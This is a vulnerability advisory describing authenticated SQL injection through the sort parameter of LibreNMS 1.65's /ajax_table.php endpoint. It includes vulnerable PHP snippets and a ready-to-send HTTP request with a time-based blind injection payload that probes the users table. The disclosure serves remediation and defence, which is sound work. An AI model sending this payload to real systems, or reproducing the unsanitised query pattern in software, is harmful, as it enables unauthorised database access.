LibreNMS sort multiple authenticated SQL injections

Summary

LibreNMS 1.65 is affected by multiple SQL Injection vulnerabilities via the sort parameter in the /ajax_table.php API endpoint. A ‘normal’ privileges attacker can gain access to the database in use by LibreNMS.

Product description (from vendor)

“LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more”. For more information on LibreNMS, visit https://www.librenms.org/.

CVE(s)

Details

Root cause analysis

The /ajax_table.php API endpoint allows the user to retrieve information from many modules, specified by the id parameter in https://github.com/librenms/librenms/blob/1.65/html/ajax_table.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
    <?php
    
    if (isset($_REQUEST['sort']) && is_array($_POST['sort'])) {
        foreach ($_REQUEST['sort'] as $k => $v) {
            $sort .= " $k $v";
        }
    }

    [...]

    $searchPhrase = $_REQUEST['searchPhrase'];
--> $id           = basename($_REQUEST['id']);
    $response     = array();

    if ($id && file_exists("includes/html/table/$id.inc.php")) {
        header('Content-type: application/json');
-->     include_once "includes/html/table/$id.inc.php";
    }

Many modules use the input sort parameter without any parametrization in a SQL query, for example https://github.com/librenms/librenms/blob/1.65/includes/html/table/as-selection.inc.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    <?php

    [...]

--> $sql .= " GROUP BY `bgpLocalAs` ORDER BY $sort"; 

    [...]

    foreach (dbFetchRows($sql) as $asn) {
        
    [...]

Such vulnerable code pattern is shared by many other modules, all exploitable too:

Proof of concept

  1. Log-in LibreNMS and take note of the X-CSRF-TOKEN HTTP header and XSRF-TOKEN and laravel_session HTTP cookies values
  2. Edit with your own values and perform the following HTTP request:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /ajax_table.php HTTP/1.1
Host: <EDIT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: <EDIT>
X-Requested-With: XMLHttpRequest
Content-Length: 179
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>

current=1&rowCount=50&sort[(CASE+WHEN+(SELECT+user_id+from+users+where+username%3d'librenms'+AND+sleep(5))%3d1+THEN+bgpLocalAs+else+bgpLocalAs+end)]=DESC&id=as-selection

Note the HTTP request includes the malicious payload (CASE WHEN (SELECT user_id from users where username='librenms' AND sleep(5))=1 THEN bgpLocalAs else bgpLocalAs end) DESC which allows us to extract information from the database by a time-based oracle.

(Note: this could also be exploited faster via a results' order-based oracle but it would need at least two query results which are not available in the default installation)

Impact

A low-privileged attacker can gain access to the database in use by LibreNMS.

Remediation

The sort parameter is now sanitized before use. Upgrade to LibreNMS 1.65.1 or later.

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

Credits

`polict` of Shielder

Date

10 July 2020